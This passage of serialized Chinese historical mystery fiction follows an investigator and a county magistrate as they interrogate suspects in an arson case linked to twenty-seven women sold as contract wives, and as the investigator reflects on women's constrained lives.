赵疏玉道:“自然要问窦扬,否则我将他们隔开做什么?”
“隔开双审,若口供不一致,就足以说明有人在说谎,提前把窦扬弄走,既避免他们串通的可能,也避免窦扬会对锦夏不利。”
李惟初点了点头,他抬眼往虚掩的门中看去。
锦夏紧紧扣住春禧的双肩,可她自己却不断抖动的着肩膀,整个人泣不成声。
“你确定她这样能问出什么来吗?”
赵疏玉也往后看了一眼,淡淡道:“疑人不用,用人不疑。”
话锋一转,她又问道:“可有查到什么吗?”
李惟初却摇头,“你不觉得这件事很奇怪吗?”
“什么事?”
“从沈怀夕自缢开始,再到虎鸣刚被发现,接着整个大宅就被烧得面目全非。木盒一被偷刘世尧就上门指控你为凶手,因为证据缺乏,这件案子被拖了将近十一天。”
“你是想说,这一切都是刘世尧自导自演,他处心积虑不是想除掉我,而是想拖延时间吗?”
“不错。”李惟初赞赏地看了她一眼,“前几日刘世尧来闹,却没闹出风波来,可今天。”
李惟初一顿。
“今天本应是巡抚莅临,刘世尧大张旗鼓地拿了一条假手帕做物证与你堂前对峙,不就是在拖延时间吗?”
“他或许想置你死地,只是他没这个能力,便开始传播谣言,说本官与你……”
“真是……”李惟初袖下的拳头紧捏着咯咯作响。
他眸中忽然一凛,尽显戾色,“若非留着他还有些用……”
“你想留着他,进而顺藤摸瓜,查出二十七张典妻案背后的秘密和幕后之人,是吗?”
李惟初紧紧盯着她,凝视着她眸中睿智的光芒,语气忽然下沉,冷冰冰地避开这个话题,继续说道:“长清暂且帮我拖住了巡抚,但最多,只能帮我们拖延一天的时间。后日,巡抚一定到江南。”
“尽快将纵火案破了,主动权暂且还在我们手里,否则待巡抚抵达江南,我们就只剩下羊入狼口的份。”
赵疏玉默了一瞬,道:“你就这么相信我能把案子破了?”
“疑人不用,用人不疑。”
赵疏玉意外地抬起头,真没想到他竟就这么水灵灵地在这个时候“现学现卖”。
这就是独属于李惟初的幽默吗?
“那你呢?”
赵疏玉问道。
“自然是要让窦扬吐个干净。”
李惟初眼底幽暗,他冷哼一声,大步流星地离去。
离开前,他特意回眸似是警告似的看了她一眼。
“如果你足够聪明,就别再调查那二十七个女子背后的死因。”
赵疏玉垂眸,掩下眸中莫名的心绪,抬眼回望了一眼狱中二人。
锦夏痛哭流涕地抱着春禧,而春禧却是神情呆滞,双手垂落,整个人都没有了支点,整个人靠在锦夏的脖颈处。
里头传来锦夏清脆黄鹂般带着哭腔的声音,“春禧姐姐,你把一切都告诉我,好不好?我会救你的,我一定会……”
剩下的话,赵疏玉没再听下去,大步离开了死牢。
所有人都要为了自己过去莽撞的行为负责。
火烧二十八条人命,再怎么坦白从宽也难逃一死。
从牢狱中出来后,赵疏玉抬眼看向天色。
最遥远的天边影影绰绰升起少许橘黄色的光晕,澄蓝的天空尚未晕染一层日落黄昏。
趁着天色尚早,她吩咐身边的凉丝,问道:“虎鸣的娘身子如何?”
“肺痨,大夫说最多还有一个月可活。”
赵疏玉心中一沉。
她曾亲眼目睹无数生死,太多的遗憾与无奈将她的一整颗心脏填满。
她为什么要活着。
为什么,要在无尽的悔恨中活着。
想起前尘往事,她仰头看天,太阳的光晕不知怎么模糊了眼前。
“带我去看看虎鸣的娘。”
“是。”
二人走在路上时,赵疏玉问凉丝道:“她的药吃完了吗?怎么没见你来找我拿钱买药?”
凉丝回道:“回姑娘,县令已将药钱都付过了,让属下去取药就成,故而并未打扰姑娘。”
赵疏玉不禁回想起那日风高夜黑之夜,他一袭绛紫色云纹金边衣袍大步流星,怒气冲冲地走到自己面前,一脸兴师问罪。
看来,他并不是表面上看上去那么冷血啊。
赵疏玉勾了勾唇,一路无言。
不到一会儿的路程,凉丝将她引进一个十分狭小的屋前,房屋破烂程度似乎与周家不相上下。
屋子里头黑漆漆的,明明是白天,却照不得一丝
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亮光。
“小虎……”
粗重的呼吸声在寂寥的屋中格外清晰。
“我的小虎……”
“阿娘想你……想你……”
她的胸口上下起伏得厉害,每每呼出来的气息中又夹杂着某中奇怪类似卡痰的怪声。
“在属下来此处时,她就已经是这副神志不清的模样了。”
赵疏玉点点头,“药呢?”
“姑娘。”凉丝从身旁的侍女手上接过药碗,递给赵疏玉。
泛着苦味的汤药向上冒着热气腾腾的雾气。
赵疏玉接过药碗,悉心地舀着汤药耐心一口一口地喂她。
棕黄的汤药从她微张的嘴边漏下,赵疏玉接过凉丝递上来的手帕,仔细帮她擦拭干净。
有几滴滑落到她的脖颈处,她方将手帕贴上,她却忽然不知哪生出一股力气,一只手紧紧攥住赵疏玉的手腕,另一只手直绷绷指着天花板,豆大的眼睛像铜铃一般死死瞪着她。
她忽然开口说话,可语调却不像刚才那般软弱无力,而是低沉的嗓音中发出如同凄厉那般的尖叫,她惊恐无状,眸光如污水一般浑浊不堪。
“阿虎是被那刘世尧害死的!”
“我看见,看见我的……儿子……”
“啊啊啊啊啊啊啊——”
“刘世尧,你这个卸磨杀驴,见本忘利的小人……你不得好死,不得好死!!!”
“我要睁着眼,在地底下睁着眼,看着你,看着你……”她的声音忽然小了下去。
“自、食、恶、果……”
低沉凄厉的语调犹如恶毒的咒语,一遍又一遍萦绕在赵疏玉的耳边,似是这世上最怨恨的诅咒。
令被诅咒人的灵魂永不安息。
说完这句话后,她忽然噤了声,一口气吊在嘴边,不上不下,嘴就这样张大着似乎能吞下一个鸡蛋,头歪着,眼睛死死睁着,透过赵疏玉望向空无一人的门口。
一阵微风从门缝钻了进来,一一吹过众人的后背。
赵疏玉被吹得后背一阵发凉,眼神悲哀地望向已经断了气的虎氏,她轻轻将汤药“咯噔”一声放回床边的柜子上,起身从兜里掏出五两银子。
对凉丝道:“好好安葬她的后事,只是虎鸣和那二十七女案还未结束,他的遗体暂时还动不得。”
凉丝敛下眸,接过赵疏玉的银子,领命道:“是,姑娘。”
黄昏倾覆,橘黄色映红一片晚霞,绚烂夺目,光彩照人。
赵疏玉走在回县衙的路上,抬头看了一眼霞光异彩的天空,心中却如秋风扫落叶一般,一片苍芜。
可在苍芜的同时,她心中又不禁在想,老妪临死前口中说的“卸磨杀驴”是什么意思。
赵疏玉又猛然回想起那日邱老板说的话。
“虎鸣经常替刘世尧做事来换取佣金,救他娘。”
他做的事,究竟是什么事。
答案似乎即将呼之欲出,可真相却犹如冰面之下的大洋,重重叠叠的冰面倾压在真相之上,模糊不清,朦朦胧胧。
想看却又看不清,想抓却也抓不到。
心急如焚,抓耳挠腮,却终究没有定论。
不知不觉,她已经走回县衙。
黄昏已落,日月更迭,清冷的月辉钻过层叠的黑云中洒向大地。
可在她前脚刚踏进县衙的那一刻,维寻忽向一阵风似的从赵疏玉身边飞过。
赵疏玉连忙跟上去一探究竟,却听得一个十分出人意料的事情。
周氏夫妻于晚膳时分自尽!
21. 奇怪的周氏自缢
“主上,周氏夫妻晚膳时服用大量砒霜。我们发现异样立时去救,可惜膳食中的砒霜是严重的致死量……我们赶到的时候,人就已经没了。”
维寻禀告时神情有些不自在,肌肉紧紧绷着,他低着头却仍能感受到那股寒冰刺骨的视线。
“哦?”李惟初负手而立,转身时大袖一挥,平地掀起一阵冷风扑在维寻的脸上,一股寒意从脊椎迅速蔓延至全身。
“主上,是属下失职,但请主上责罚。”
“责罚?”李惟初眯了眯眼,温暖的烛光照亮他的半边脸,柔和了他凛冽的脸角。
只是他的脸上依旧冷漠,双眸好似淬了寒冰,硬生生将周身的暖色斥之门外。
“你想我怎么罚你?”语气轻飘飘的,但飘进维寻耳里时,头顶好似悬了一把杀头大刀,摇摇晃晃地对准他的头颅,要将他整个人劈成两半。
维寻一阵寒栗,他将头紧紧贴在地面上,静待他的一声令下。
“让我想想……”他静默了一瞬,维寻的太阳穴上布满一层细细密密的薄汗。
沉声问他道:“是万蛇窟,还是乱葬岗?”
“主上!”维寻忐忑不安地大声道。
“怎么?”
“啪”地一声,如影从赵疏玉的眼前飞驰而去,一把推开门,跪到维寻旁边,请罪道:“主上,监视周家一事本是属下的职责,此事都是因属下疏忽罪过,与维寻不相干!”
维寻扭头看向他,怒道:“你上哪来凑这份热闹?还不快回去!”
李惟初紧绷着神色,眸中罕见地浮出一丝怒意。
“真是好一出肝胆相照的兄弟情义,实乃令我动容啊。”赵疏玉一遍拍着掌心,一边从门后走进来。
她走至二人面前,仔细端详了一番二人双双有些发白的神色。
方才还言之凿凿将一切罪责都揽在自己身上的如影,脸色却是吓得惨白。
而维寻还算镇定。
“县令,既如此不若将他们二人齐齐处死,也算是应了那句‘不求同月同日生,但求同年同月同日死’了?”赵疏玉唇边勾起一抹不怀好意戏弄的笑容。
说罢,还望身后看了一眼。
维寻如今再饶是如何镇定,趴在地上的手指也不禁蜷起微微发颤,而如影更是不必说,吓得已经是一句话都说不出来,定定地望向这个恶毒女人的背影。
万蛇窟,她知道那是个什么恐怖的地方吗!!
只有犯了最不可饶恕罪的人才会被主上丢到那个阴森可怖的地方……
最终的结果是被万蛇噬咬,毒素噬心,在痛苦与毒素的迸发中绝望的死去。
而他的尸体则会被万蛇争先恐后地分尸,作为它们的盘中餐,最终只留下阴森森的白骨沉入谷底。
想及此,如影又是抖动了一下肩膀。
“姑……姑娘……”你可别害我呀啊啊啊!(哭哭)
“你来凑什么热闹。”
“我来替你出主意啊。”赵疏玉勾了勾唇角,她一屁股往李惟初经常喝茶的小茶桌旁边的团蒲上一坐。
好似进了自家大门一般,端起茶壶就是一阵痛饮。
“既然他们看守不利,处死几个心腹,也不是什么大不了的事情对吧,心腹没了一个两个的,再培养几个来不就好了?”她将茶壶“噔”地一声放回桌上,抬头与李惟初对视。
“培养几个心腹而已,能废李县令多少时日?又能消耗李县令多少精力呢?你说是不是,李县令?”
闻言,李惟初眯了眯眼睛,看向她的目光中携带了一丝危险。
“他们几个虽办事不利,但除了他们几个,剩下的更是蠢笨如猪,不值一提。”
李惟初不断逼近赵疏玉,他一手撑在茶桌上,整个身子向赵疏玉倾覆而去。
赵疏玉微微向后仰了一下腰,与他拉开些距离,微昂起下巴,眼珠紧紧靠在下眼眶上,淡漠的眸色中不慎泄出一丝戏谑来。
而李惟初则是伸出食指,轻挑起赵疏玉的下巴,冷漠地说道:“这些日子倒把你养的越发娇纵?”
赵疏玉却冷哼一声别过脸去,不再言语。
“你们两个去找凉丝领50大板,领完之后写一千字检讨给本官。”
赵疏玉不禁睁圆了眸,视线重回他冷酷严峻的脸上。
“检讨?”她纳了闷了,这种东西原来从这么早就开始发展了?
这老祖宗原是一点精华都没取,竟留下糟粕了?
赵疏玉无奈叹气,问道:“检讨?你发明的?”
“自然不是。”
赵疏玉紧紧盯着他,眸中似有探究之意。
他却将大掌覆在赵疏玉的眼前,喉结轻滚,道:“不许问这么多。”
“姑……”
“……娘?”
她站在门外,震惊地望着里头李惟初双手禁锢着赵疏玉,一只手还覆在她眼前这样……的场景?
她心中一沉,脚下跟灌了铅一样,她就是想转头狂奔,也只能得到一个一头栽倒的结局。
锦夏从春禧那套完话,从狱中之后想去找赵疏玉。
见如影和维寻脑袋耷拉地向她走来,而在她印象中维寻和凉丝有时都由姑娘差遣,她抱着试一试的态度,紧张而又害怕地问了一下他二人,“赵姐姐在哪。”
如影苦笑地往后一指。
锦夏连声道谢后就忙不迭跑走了,毕竟她对如影旁边这个维寻,还是有些发怵……
可是如今……她是不是看到什么不该看到的了!!?
正在她转身想跑的时候,双腿却是先一步脑子跪下了,她连忙闭上眼睛,磕头道:“对对对对不起!!县令恕罪,赵姑娘恕罪,奴婢不是有意看到的!!奴婢,奴婢真的……”
“起身吧。”
锦夏的头顶上响起李惟初冷漠微沉的声音,而在她再次抬头的时候他们二人却是距离得当,规矩体统。
仿佛刚刚发生的一切都是错觉。
三人都很有默契地将方才的事避而不谈。
还是赵疏玉先行开口打破了这场沉静。
“锦夏,你可是问出些什么来了吗?”
锦夏点点头,她回道:“是。”
“春禧姐姐说,窦扬经常和一个蒙着面的男人在小门处会面,而那人每次来的时候都会向窦扬索钱,窦扬虽是疑惑却也不敢驳他的话,以为是上面的人吩咐,所以每次都给了。”
听锦夏这么一说,李惟初却是轻皱了一下眉,好像是想起什么来。
他起身走到平常处理公务的隔间,从里面拿出一个托盘,上面呈放着一个已经烧焦了,但里面的银子却完好无损的钱袋子。
锦夏将钱袋打开,用手指小心翼翼地拨了拨里面的银子,然后从众多银子中找到一个瘪进去的银子。
她惊喜道:“找到了!”
“是什么?”赵疏玉问道。
“春禧和我说,窦扬有次喝酒喝多了,银子掉了出来,他却把银子当成木头,要劈柴呢……结果柴没劈开,一整个手鲜血淋漓,银子也被他弄瘪了一个角。”
“因着他总是跟窦扬要钱,他虽心中不忿却也不敢违抗上头的旨意,因此就给了他一块瘪了的银子。”锦夏顿了顿,又道,“他也照收不误。”
赵疏玉见口供与物证都能对应上,她垂
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下眸,眼睛在眼眶中骨碌碌转了几圈,不语。
而李惟初的猜测和赵疏玉是一样的。
他的眸色在这块被锦夏挑出来瘪了的银子和钱袋来回流转,道:“虎鸣是刘世尧的人,他扮作蒙面不让别人知道自己的身份,来回给窦扬和春禧传递消息。”
“燧石是他给窦扬的。”
可说到此处,他又心生疑惑。
“那又是谁传了要让他们销毁木盒的信息呢?”
他回头望了一眼赵疏玉,却见她也在低头苦思,于是又将目光移到站在一侧的锦夏身上。
锦夏缩了缩脖子,甚至想往赵疏玉那边挪一挪。
这时候,赵疏玉忽地眼前一亮,抬头看向李惟初,道:“如果不是他们自己自发的想法,那么就只有一种可能——县衙里还有奸细,这个奸细或许能够随机应变,对他们直接下发施令。”
可李惟初却是摇摇头,“我仔仔细细问过窦扬,他亲口说这府中安插进来的奸细就只有他一个人。而春禧……是自愿加进来的。”
锦夏呼吸一窒。
“如果照他的话来说,他们则是在府中随机应变了?可是,他们为什么要销毁木盒?难道他们知道什么?”
“以他们来说,自然是不可能知道什么的。”李惟初回想起窦扬趴在地上字字句句对他说的“锥心之语”,道,“将窦扬安插进来的那个背后之人说,只要是有关刘世尧府上任何一切东西,他们都必须要想尽一切办法销毁掉。”
“原来如此。”赵疏玉点了点头。
案子似乎已经浮出水面了。
案件顺序应当为:虎鸣蒙面将燧石给窦扬,而窦扬又给了春禧,静待时机点燃大宅。
却因虎鸣反叛暴露,春禧便直接点了大宅,将虎鸣一起烧死在大宅里,期间周德为了帮自己的姐姐销毁“典妻文书”,冒死进入火场从虎鸣的手里抢走木盒,拿走里面二十七个女子的文书,并替换其原有内容。
虎鸣和二十七个女子一齐葬身火海,而周德为避免被及时赶到火场的赵疏玉发现,则从小门逃出,逃出后却因目击证人这一身份被刘世尧威胁他说假口供,承认赵疏玉为纵火案凶手,又在堂前袭击赵疏玉,使得赵疏玉反咬一口刘世尧,周德入狱。
之后便是他与赵疏玉周旋求助,最终将火场里的“二十七女典妻文书”交给赵疏玉与李惟初,周玥获救,紧随而来周氏夫妻服用砒霜自缢。
可赵疏玉在与李惟初复盘的时候,她不禁对案件中的两点提出疑惑。
李惟初饶有兴趣道:“你说说看,哪里不解。”
“第一,周德既然是神不知鬼不觉地溜走,不为人知,却又为什么要说出自己是目击证人这句话,上赶着让刘世尧抓着?”
“第二,周德又为什么突然在堂上行凶,他的父亲是秀才,熟读律法,自然知道堂上行凶要被判刑,但他还是义无反顾地去做,这样做的目的又是什么?”
正说着,她的脑海中不禁又跳出一个疑问来。
“什么?”李惟初问道。
赵疏玉忽然抬头,眸色中惊讶多于疑惑,她道:“虎鸣那么大个大男人,何以见得被周德这个十三岁的孩子抢走木盒?周德既然能逃出火场,那虎鸣为什么不能,那二十七个女子又为什么不可以?”
赵疏玉不禁叹道:“眼瞧着这案子确实浮出水面,可里面的疑点重重,慎重起见,我们应该将这些问题求证。”
李惟初听她说了大半晌,只轻轻点了点头,道:“明日,是我们最后的时日。”
二人双双对视,心中的想法却不谋而合。
她一定,要将案子查得水落石出!
22. 我只想活下去
“如今,你想怎么做?”李惟初转了转手中的茶水,暗香浮动,清香怡人。
他微微抿了一口,视线却一直未离开赵疏玉。
她轻启薄唇,冷声道:“虎鸣已死,许多事情无法求证,那些答案只有周德才知道。”
赵疏玉忽然想起什么,她偏头看向李惟初问道:“那二十七个女子的尸检报告中体内可中有什么毒?或是被下了药?”
李惟初摇摇头,道:“尸体已经在大火中烧得不成样子,我令仵作们将二十七具尸体仔仔细细全部验剖过了……”
“没有中毒的痕迹。”
“那就奇怪了。”赵疏玉眉头轻蹙,眼眸之间生出一丝迷茫,“那她们为什么不逃呢?”
李惟初将茶杯轻轻“咯噔”一声放置在桌上,侧眸看向赵疏玉,“与其思考为什么她们为什么不逃,不如仔细想想春禧究竟是受了谁的指令,半夜出县衙点燃刘世尧的宅子。”
赵疏玉脑仁有些疼,她伸手揉了揉太阳穴,缓解这些日子彻夜难安,心绪不宁造成隐隐如针扎一般的疼痛。
她有些疲惫地道:“我有些问题需要再去问一问周德,周氏夫妻的尸首你想怎么处理?”
“自然是先让衙门收了,找仵作验尸,若确认无误是自杀,之后再去询问周德和周玥对他们身后事的意见。”
李惟初早就将这一套流程背得滚瓜烂熟,一切按章程做事。
“周德那里……还是要告诉他父母双亡的事情。”赵疏玉道。
李惟初竟愣了半刻,“……你拿主意就好。”
说罢,他便起身大步离去。
桌案上的香炉云雾缥缈,沉水香宁神定心的气息缓缓飘进赵疏玉的鼻子里,一开始觉得十分刺鼻的香气,日日闻着,倒也能慢慢适应,甚至原本浮躁的内心,也得片刻安宁。
若她记得没错,沉水香一般是女子房屋中所用熏香,顶天立地的男儿很少会用到熏香一类。
只她竟不知,这沉水香宁神功效竟这般卓越。
她在榻上又多坐片刻,一闭眼脑海中便浮现出那日火光冲天,宅中的女子却无所畏惧地冲向火光。
扭动着娇美而又绝望动人的身躯,凄厉的尖叫声缠绕在赵疏玉的耳边,在她空荡的脑海中犹如波浪一般,一浪高过一浪。
她猛地睁眼,精神恍惚了一瞬,她抬起双手揉搓了一把脸。
这具柔弱的身体根本承受不住她高负荷的工作量。
尖叫声带着耳鸣声在她的脑海中交相辉映,似乎在奏响一曲致命的交响曲。
她缓缓支起身子,眼前却还是一晕,连带着她原地踉跄几步,缓了好一阵才缓过神来。
赵疏玉摸了一下脸——一点肉都没有,又低头看了一眼藏在宽大衣裳底下干瘦的四肢,不禁在心中默默哀叹一声。
营养不良导致缺铁性贫血,这是从她婴幼儿时期营养跟不上,再加上后天也没有好好补身子,于是在十六七岁这种正值青春期长身体完善机能的时期,这样的贫血症就更加凸显出来了。
严重的话,可能还会导致晕厥输血。
可在古代这样医疗等等都落后的时代,这种在现代不值一提吃药就能解决的小病,在这里却成了致命的病症。
在古代似乎没有挂水这种说法,最多能做的就是食补。
既穿越到人家的身体上,不说替自己,更多也该要好好保护别人的身体。
待案子落定,她必得好好养养身子。
心中主意落定,她缓缓抬步走了出去。
——牢狱。
周德这几日似乎格外焦躁不安,狭小逼仄的牢狱里,黯淡清冷的月光从高高的窗棂中洒向小屋。
床的对面燃着一根火光微弱的蜡烛,汩汩往下滴蜡油,白色的蜡烛柱上留下一个凸起的柱状。
整个房间昏暗无比,只有一星半点的月辉可怜施舍般降临在周德的头顶。
“吱呀”一声,沉重的狱门开启,门外灯火亮堂,映照在一位恍若星辰耀眼般的女子。
她越过低微的门槛踏进门内,身后看管的官差缓缓关闭大门。
她身后的灯火在一瞬间熄灭,只剩下寂静无声的夜晚,和昏暗无光的狱屋。
“周德。”赵疏玉清冷的声音与月辉交相辉映,淡漠疏离地看向她。
眸光闪烁着生人勿近,杀伐决断的肃杀之气。
“虎鸣是怎么死的?”
第一个问题。
周德却丝毫不意外她会问他这个问题。
毕竟他知道,这个女人,与他认知中所见过的女人一点都不一样。
容色不及姐姐半分,可聪慧却远胜世间所有女子。
“你想我告诉你什么?”周德抱着膝盖,像虾米一样蜷缩在床上,他的头枕在膝盖上,眼神低低地透望着。
“虎鸣知道太多了,如果让他活着,你替换木盒的秘密就包不住了,是不是?”赵疏玉冷冷清清地问他,却不像在说问句,而是陈述句。
“没错。”虎鸣语气平稳地答道,态度十分了当地承认。
“你杀了他?”
在问这一句的时候,赵疏玉的目光移到他微垂的眼帘上,眸色中充斥着审视与兴味。
一介十三岁的孩童,与五大三粗的男子,武力悬殊如此之大,他怎么动手,又怎么成功杀了他。
“你们验过虎鸣的尸吗?”虎鸣却不回答,而是反问她道。
“自然。”赵疏玉回道,“火场之上的每一具尸首仵作都会一一查验,包括……你的父母。”
周德整个人似乎都僵住了,可随之他又松懈了下来,一点都不意外,似乎早就在心里接受了这个结果。
这也许,跟赵疏玉之后要问的话有关联。
“虎鸣的身上没有外伤,但他的后背连带着屁股那一处一片青紫,是你推的?”赵疏玉接着问。
周德点了点头。
“虎大哥人很好,我姐姐的藏身之所就是他帮我找的。”
“所以你就恩将仇报?”
“我没有恩将仇报!这世上,没有人比我姐姐还要重要!”虎鸣忽然站起身,他眸中夹杂着一种赵疏玉根本不理解的情绪。
他音调拔高,看向赵疏玉的目光中灼热道:“我没有杀虎鸣!”
他深呼了一口气,缓缓道:“当时火势越来越危急,虎鸣吸了太多烟气人已经晕了过去,我替换了木盒里的内容之后,你又突然现身府前,我没有时间去救虎鸣,只有自己逃走。”
“可我若不带着那些文书出逃,我姐姐一辈子都身受刘世尧的威胁,一辈子都嫁不出去。”
赵疏玉一挑眉,又问道:“既如此,你逃出之时将那些文书全都扔进火海不就成了?你姐姐的秘密就会一辈子都埋藏在这场大火之下,没有人再会提及
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。”
“我不能这么做。”周德垂下眸,眼中似有泪光。
“父亲一直教我大丈夫能屈能伸,要忠君报国,最不可姑息养奸,助纣为虐。”他深深吸了一口气,似乎将喉中的哽咽随着呼声一起叹去。
“赵姑娘。”周德抬头看向她时,伸手迅速抹了一把泪,眸中湿润,却有一股异样的韧劲,“姐姐的事情很重要,但那困在刘世尧府里被随意典卖的女子也同样重要。”
“我希望能将文书带出,交给我信任的官府,求他们为那二十七个女子沉冤昭雪,将她们的冤屈洗刷公众。”
赵疏玉不置言辞,又问他第二个问题。
“为什么要在大堂之上公然刺杀我?”
虎鸣又垂下眸,一脸无奈地扯了扯嘴唇,“因为只有这样我才能活,我姐姐也能多一分活下去的指望。”
“拿你的父母呢?”
“是他们……帮我筹划好了这一切,他们的一辈子已经毁在刘世尧手里了,怎么会还让我……再一次……重蹈他们的覆辙。”越说到后面,他的话语之间越发哽咽,直说到后面泣不成声。
“刘世尧的手再长也不敢伸进官府,我只有在官府里,才安全……”
问完了这两个问题,赵疏玉此行便算结束。
只是看着他一整个人跪在地上泣不成声的模样,赵疏玉的心里不知从何处升起一抹不忍。
她竟没走,而是站在周德的身前。
落在地上的影子包裹着周德十三岁还未发育,弱小的身体。
良久,她也未挪动步伐。
哑声问他道:“你今后还有什么打算吗?”
周德摇摇头,他收拾好了情绪,可鼻腔中仍是闷闷的。
“我不知道。”他顿了顿,脑海中浮现出周玥温婉柔情的笑容,而原本被击碎一地的心脏却也因这抹笑容拼凑起来,他笑道,“但是我还有姐姐,有姐姐的地方就是家。”
赵疏玉点了点头,不过她又想到什么,问道:“可是如今刘世尧既杀了你的父母,肯定也没有要放过你们的意思。这样看来,你们只有逃出江南才最保险。我或可去请示李惟初,让他帮你们。”
周德心头一喜,他方想磕头答应,却又忽然顿住。
他姐姐的亲事……
如果他就这么走了,以后做个小厮,难道还要让她的姐姐去浆洗做活,或是同他一道为奴吗?
转念一想,在哪里做工都不如在官府里有前途。
于是他磕了个头,郑重道:“赵姑娘,我们已经被刘世尧逼上绝路,纵使逃,却总有会被他抓住的一天……我不想让姐姐每日与我担惊受怕地过日子,还请赵姑娘留下我姐姐,让她在你身边……哪怕做个随身丫鬟,也好比和我一道颠沛流离得好。”
赵疏玉低头看了一眼他,双眸眯了眯,直截了当地说道:“你想让我收留你们?”
见心底的秘密被戳破,周德的脸上不免浮起一抹红晕,瞬间又磕头下去,言辞那叫一个真情实感。
“求姑娘收留我姐弟!日后我给姑娘当牛做马,在所不惜,但求姑娘留我们姐弟在县衙!我从小便做惯了粗活,必不会……”
话音未落,赵疏玉忽然问他道:“你读过书吗?”
周德一怔,心中不禁打鼓问道,‘她问他这句话的意思是什么?难道是在考验自己对她有没有用,还是另有其他目的呢?’
23. 巡抚莅临,危机再现(1)
他心底摸不准赵疏玉问这个问题的目的是什么,只能谨慎小心地答道:“读过。父亲眼睛虽然瞎了,但他早就将那些经书倒背如流,我每每有不会读的字,父亲就是连第几段第几行第几个字,都知道。”
“他说,这些书早就已经在他的脑海里,挥之不去。”
赵疏玉点了点头,“你先起来吧,别跪在地上。”
周德强撑着身子站起来,牢狱里的地面本就比外面的要更湿寒冰冷一些,跪了良久他的膝盖也有些撑不住,膝关节隐隐发痛。
“那你就去科考吧。”赵疏玉的目光并没有停留在他身上,而是透过他唤醒了她脑海深处的某处记忆。
记忆中的小男孩穿着破洞衣,脸上灰扑扑,整个人脏兮兮的。
可那一双大大的眼睛里头装着经久不衰的光芒与希望,十分耀眼。
他从补了不知道多少次补丁裤里深深挖出来几张崭新的钱币,而后大方地张开手,伸开在赵疏玉的面前。
他微笑地看着赵疏玉,两只眼睛月牙弯弯,露出两颗尖尖的小虎牙。
‘赵姐姐,去上学。’
黑色的圆珠笔上歪歪扭扭地写出这几个圆圆胖胖的字。
“赵姑娘?”周德喊了好几声她,但她都没有反应。
她这是要反悔了吗?
他是不是要做些什么……?
下一刻,周德昂着头看着赵疏玉,眸中一片真挚的汪洋,只听“扑通”一声,他直直又朝赵疏玉跪了下去。
“姑娘,姑娘不要反悔……我,我会努力考取功名,不会让姑娘丢脸的……”
赵疏玉甩了两下脑袋,将往事回忆消散云层。
她轻启朱唇,缓缓道:“你起来吧。”
临走时,她忽地又想起什么。
回眸问他,“那二十七个女子,为什么不逃呢?”
周德却摇了摇头,他起身,眼神中不经意间划过一丝落寞。
“我亲眼看见她们冲进火场。”周德歪着脑袋想道。
“……我试着阻拦过婉姐姐,哭着求她不要去,拉扯间,她的耳环落在地上,被火焰悄然吞噬一角,而她则一去不返,往火场中冲去……”周德顿了顿,回忆起那晚的场景,以及这些年的经历,最终落得一个结论。
“她们兴许是一心求死吧。”周德闪烁着眸光看向赵疏玉道,“赵姑娘,你还记得我对你说的话吗?”
“什么话?”赵疏玉问道。
“婉姐姐会突然消失一段时间,再次见到她时,她的身边总是围着许多嬷嬷和侍女,不论白天黑夜,她的房门总是紧闭。”
“或许,这就是那二十七个女子即使知道前方是火灾地狱,却毅然会去跳的原因吧……毕竟在她们身后的也许是另一处更可怕的青面獠牙。”
可是她们都死了。
许多疑团再也无法求证,随着那一场大火烟消云散。
赵疏玉怀着沉重的心情从狱中出来,但比火光更先一步出来的是一直站在门口偷听二人说话的李惟初。
在她打开狱门的那一刻,他甚至丝毫都不知道避一避。
赵疏玉一挑眉,“李县令这么喜欢偷听人墙角?”
“隔墙有耳的道理,难道还要本县令教你吗?”
“呵,县令大人还真是会调教人。”赵疏玉冷冰冰地讽刺道。
二人并肩从大牢中出去,凉丝为他二人掌灯,暖橘色的灯光张亮二人身前的路。
闻言,李惟初却是瞳孔一缩,他的喉结上下滚了滚,明知故问道:“你想送他去科举?”
“是啊。”赵疏玉点了点头,她垂眸,一瞬间将心头涌上来的那一丝痛苦给压了下去,而后眸中平静无波地又将头抬起,淡淡道,“他父亲未做成之事,至少……让他去实现吧。”
“他愿意吗?”
“求之不得。”赵疏玉抬眸看他,反问道,“谁会放弃一个可以通过学习而改变自己一生轨迹的机会呢?”
李惟初悄然避开她的视线,语气中倒多一丝真情实意,“赵姑娘所言极是。”
“若天下女子也可通过科考来改变她们无法选择悲哀痛苦的一生……”赵疏玉轻轻吸了口气,而后缓缓叹出,“该多好啊。”
“为何突然这么说?”李惟初幽深如浓墨一般的眸底悄无声息地变幻一番,眼中多出一丝兴味,倒是一副洗耳恭听的姿态。
“女子的一生,是为了什么?”赵疏玉不答,却将这个疑问抛给李惟初。
李惟初轻轻“唔”了一声,将眼光放到他们走的那条暖橘色大道上,眸色变化万千,神色无异地答道:“我的母亲……她的一生,都是为了我。”
“至于其他女子……”他思索一番后道,“或许也是为了她的孩子?”
赵疏玉半是赞同,半是异议道:“不止是为了孩子。”
她抬起眼,眼光流露出一丝悲悯与无奈,“孩子是她们在夫家站稳脚跟的工具。她们的一生,为娘家,为兄弟姊妹,为夫家……”
“但从来都由不得自己。”
“出嫁从夫这四个字,像一个彻底无法挣脱的牢笼,将她们的四肢束缚在不见天日,以她们血肉生长的牢笼之中。用她们铸成的血肉……死死困住她们一辈子。”
李惟初低头,似乎在很认真想着她的问题。
他饱读诗书,故而在他所读的“三纲五常”中,是这样说的。
“三纲,即为君为臣纲,父为子纲,夫为妻纲。”他顿了顿,不知是在想什么。
“这是世间纲常伦理,世人无人与之相悖,赵姑娘此话……日后恐为祸端。”李惟初似乎还想说什么,但却被赵疏玉打断了。
“我有说错吗?”
赵疏玉抬起头,李惟初将她眸中所有的执拗与执着都彻彻底底看了个清楚。
灼热滚烫的视线直直让李惟初的心乱了一瞬,似乎慌乱,无地自容。
“姑娘……”
李惟初也报以肯定的目光。
“说的极是。”
赵疏玉却不知他这话是真情还是假意,只是淡淡勾了一下嘴角,将头垂下,不语。
并肩而行,却相顾无言地又走了一段距离。
赵疏玉脑中正盘算着,今日一过,明日就是巡抚来的日子,明天最好一早就将这桩纵火案给结了。
她刚想开口,李惟初却忽然问道:“你怎么突然想到这个?”
“……”
赵疏玉抖了一下眼睫,轻吐道:“那二十七个女子,是自己冲进火场,宁可烈焰焚身,也不愿流连人间,存有一丝活下去的念头。”
“那二十七个女子,最大的不超过25岁,最小的只有十六岁……花一般的年岁,她们,她们何至于如此。”说到后面,赵疏玉不禁叹息一声,深深替她们惋惜。
这群未婚却被“典妻”的女子,背后一定藏有什么蹊跷。
不然为什么要让春禧点燃大宅?
为什么巡抚要这么急匆匆,火急火燎地直奔江南?
刘世尧的背后又是仗的谁的势?
